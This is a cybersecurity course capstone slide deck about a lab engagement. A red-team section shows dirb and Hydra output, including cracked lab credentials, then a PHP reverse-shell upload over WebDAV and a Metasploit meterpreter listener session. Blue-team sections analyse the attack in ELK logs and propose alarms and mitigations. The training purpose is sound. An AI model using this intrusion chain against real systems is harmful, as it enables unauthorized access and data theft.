



# **Capstone Engagement**

## **Assessment, Analysis, and Hardening of a Vulnerable System**

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
04

**Hardening:** Proposed Alarms and Mitigation Strategies

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# Network Topology

# Network Topology



## Network

Address  
Range: 192.168.1.0/24  
Netmask: 255.255.255.0  
Gateway: 192.168.1.1

## Machines

IPv4: 192.168.1.1  
OS: Windows 10 Pro  
Hostname: Gateway

IPv4: 192.168.1.100  
OS: Linux  
Hostname: ELK

IPv4: 192.168.1.105  
OS: Linux  
Hostname: Capstone

IPv4: 192.168.1.90  
OS: Linux 2.6.32  
Hostname: Kali

The background of the slide is a dark red color with a complex geometric pattern of overlapping triangles and polygons, creating a textured, crystalline effect.

# **Red Team** Security Assessment

# Recon: Describing the Target

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Nmap identified the following hosts on the network:

| Hostname | IP Address    | Role on Network          |
|----------|---------------|--------------------------|
| Gateway  | 192.168.1.1   | Gateway to 3 VM machines |
| ELK      | 192.168.1.100 | ELK Log Server           |
| CAPSTONE | 192.168.1.105 | Target Machine           |
| Kali     | 192.168.1.90  | Attacking Machine        |

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# Vulnerability Assessment

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The assessment uncovered the following critical vulnerabilities in the target:

| Vulnerability                        | Description   | Impact   |
|--------------------------------------|---|--|
| Public-Facing Sensitive data         | Files alluding to existence of a secret folder within the web server.                                 | Gives attackers incentive to probe for more sensitive data.  |
| Brute Force Attack and Hash Cracking | Attackers can use programs to guess login credentials or decrypt password hashes to gain credentials. | Discovered credentials can be used to potentially access sensitive data on the web server.           |
| Web Misconfiguration                 | Security controls are not in place to restrict who can upload files to the web server.                | Attackers can upload and plant malware to later be used on the server.                               |
| Local File Inclusion ( LFI )         | Allows local files to be read and/or executed on the target machine itself.                           | Attacker can execute the planted malware file to potentially gain a reverse shell on the web server. |

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# Exploitation: Public-Facing Sensitive Data

01

## Tools & Processes

- Nmap was used to scan the network for the target server
- dirb was used for site mapping to find URLs on the target site
- Web Browser was used to navigate through the web server's site.


02

## Achievements

Nmap exposed the IP Address of the target machine which was input into a web browser to browse the server. Dirb revealed an important URL on the server: "/webdav" Using the web browser, searching through the web site revealed the existence of a secret folder only accessible by employees.

03

```
root@Kali:~# dirb http://192.168.1.105
-----
DIRB v2.22
By The Dark Raver
-----
START_TIME: Mon Apr 18 16:39:55 2022
URL_BASE: http://192.168.1.105/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----
Scanning URL: http://192.168.1.105/
GENERATED WORDS: 4612
+ http://192.168.1.105/server-status (CODE:403|SIZE:278)
+ http://192.168.1.105/webdav (CODE:401|SIZE:460)
-----
END_TIME: Mon Apr 18 16:40:02 2022
DOWNLOADED: 4612 - FOUND: 2
```





# Exploitation: Brute Force and Hash Cracking

01

## Tools & Processes

-Hydra was used to successfully brute force the credentials of an employee.

-Crack Station was used to successfully crack the hash that was given in the file "connect\_to\_corp\_server".

02



## Achievements

With the credentials, the secret folder was access and this revealed a file with instructions on how to access the corporate server.

The instructions included a username:ryan and a password hash. Crack Station was used to successfully crack the password for ryan.

03

```
[80][http-get] host: 192.168.1.105 login: ashton password: leopoldo
[STATUS] attack finished for 192.168.1.105 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-04-18 17:14:01
root@Kali:/usr/share/wordlists#
```



# Exploitation: Web Misconfiguration

01

## Tools & Processes

After logging in as Ryan, privileges were escalated and it was possible to upload a php shell script to execute a reverse shell


\*\*\*Note: Even though privileges were escalated to gain ability to enable uploading, it can be considered a misconfiguration because it can be argued that the CEO does not need to have this kind of access.

02

## Achievements

This exploit allowed the user to drag and drop a php shell script onto the server.

03



# Exploitation: Local File Inclusion

01

## Tools & Processes

-Metasploit was used in conjunction with the php shell script that was uploaded in the previous exploit.

02

## Achievements

This exploit allowed us to start a meterpreter session, which was then used to establish a shell in the target machine.


A file named "flag.txt" was then captured and downloaded to the Kali machine.

03

```
msf5 exploit(multi/handler) > set lhost 192.168.1.90
lhost => 192.168.1.90
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.90:4444
[*] Sending stage (38288 bytes) to 192.168.1.105
[*] Meterpreter session 1 opened (192.168.1.90:4444 -> 192.168.1.105:41490)
    at 2022-04-18 18:39:54 -0700

meterpreter > |
```






# **Blue Team**

## Log Analysis and Attack Characterization


# Analysis: Identifying the Port Scan



- The port scan occurred at 11:53 pm
- 11,024 packets were sent from 192.168.1.90
- The top network traffic and top host creating traffic was from IP: 192.168.1.90. Filtering by destination port it can be seen that this machine is sending packets to most ports starting with port 1 and working its way up.



# Analysis: Finding the Request for the Hidden Directory



- The request occurred at 12:03am
- 41,617 requests were made
- The file "connect\_to\_corp\_server" was requested. This file contained instructions on how to access the "webdav" server.



# Analysis: Uncovering the Brute Force Attack



The screenshot shows a network analysis interface with a title bar 'Top 10 HTTP requests [Packetbeat] ECS' and a settings icon. Below the title bar is a table with two columns: 'url.full: Descending' and 'Count'. The first row of the table shows the URL 'http://192.168.1.105/company\_folders/secret\_folder/' with a count of 41,617.

| url.full: Descending                                | Count  |
|---|--------|
| http://192.168.1.105/company_folders/secret_folder/ | 41,617 |



- 41,610 requests were made in the attack
- 41,609 requests were made before the attacker discovered the password.
- \*\*\*Note the other 7 requests were subsequent logins after gaining access.

# Analysis: Finding the WebDAV Connection

## Top 10 HTTP requests [Packetbeat] ECS

url.full: Descending ▾

Count ▾

http://192.168.1.105/webdav/passwd.dav

8



- 8 requests were made to this directory
- The files that were requested were "shell.php" and "passwd.dav"





# **Blue Team**

## Proposed Alarms and Mitigation Strategies

# Mitigation: Blocking the Port Scan

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## Alarm

Alarms can be set to trigger once a certain number of ports receive an arbitrary number of tcp packets within a set amount of time from the same IP Address.

The threshold to activate this alarm should be more than 100 ports receiving traffic from the same IP within 1 minute.

## System Hardening

A firewall can be configured to recognize scans and block them. To harden against ICMP host discovery scans, simply filter inbound ICMP traffic.

For TCP scans, use rate limits to impede the scanning process. Once detected, the IP of the violators can be black-listed. Even if they try from another IP it will continue to blacklist before the scan is complete.

Setup Anti-spoofing rules to reject packets with a private spoofed IP.

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# Mitigation: Finding the Request for the Hidden Directory

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## Alarm

An alarm can be set to detect any unsuccessful http status codes for the query "GET /company\_folders/secret\_folder/" or any login from unauthorized IP Addresses.

The threshold should be when this resource is unsuccessfully requested more than 100 times within 5 minutes from unauthorized.

## System Hardening

The most effective solution would be to first reconfigure the web server to remove any public-facing mention of the existence of a hidden directory.

Next, the hidden directory can have a list of white-listed IP Addresses that are allowed to connect to in addition to login credentials.

# Mitigation: Preventing Brute Force Attacks

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## Alarm

An alarm can be set to detect an arbitrary number of failed login attempts for access to any part of the web server.

Given the confidentiality implied with having “secrets” on the webserver the threshold for the alarm should be a strict 3 failed login attempts.

## System Hardening

A solution to harden against a brute force attack is to lock out accounts when the threshold of 3 failed login attempts is met.

# Mitigation: Detecting the WebDAV Connection

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## Alarm

Set an alarm to alert when the WebDAV directory is being accessed outside of normal working hours like between 9pm and 5am.

The threshold for this alarm should be every instance of this criteria being met.

## System Hardening

A solution to harden against this vulnerability is to segment access to this directory to only certain white-listed IPs.

# Mitigation: Identifying Reverse Shell Uploads

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## Alarm

An alarm can be set to alert when an attempt to upload a .php file occurs.

The threshold should be any instance that meets the criteria.

\*\*\*If the server language changes, be sure to adjust this alarm to detect whatever language the server is built upon.

## System Hardening

A solution to hardening the system against Reverse Shell Uploads is to restrict uploads to only whitelisted IPs and requiring multi-factor authentication in the form of a soft token in addition to password. Since files should not frequently be uploaded, this should be a viable option.

*The  
End*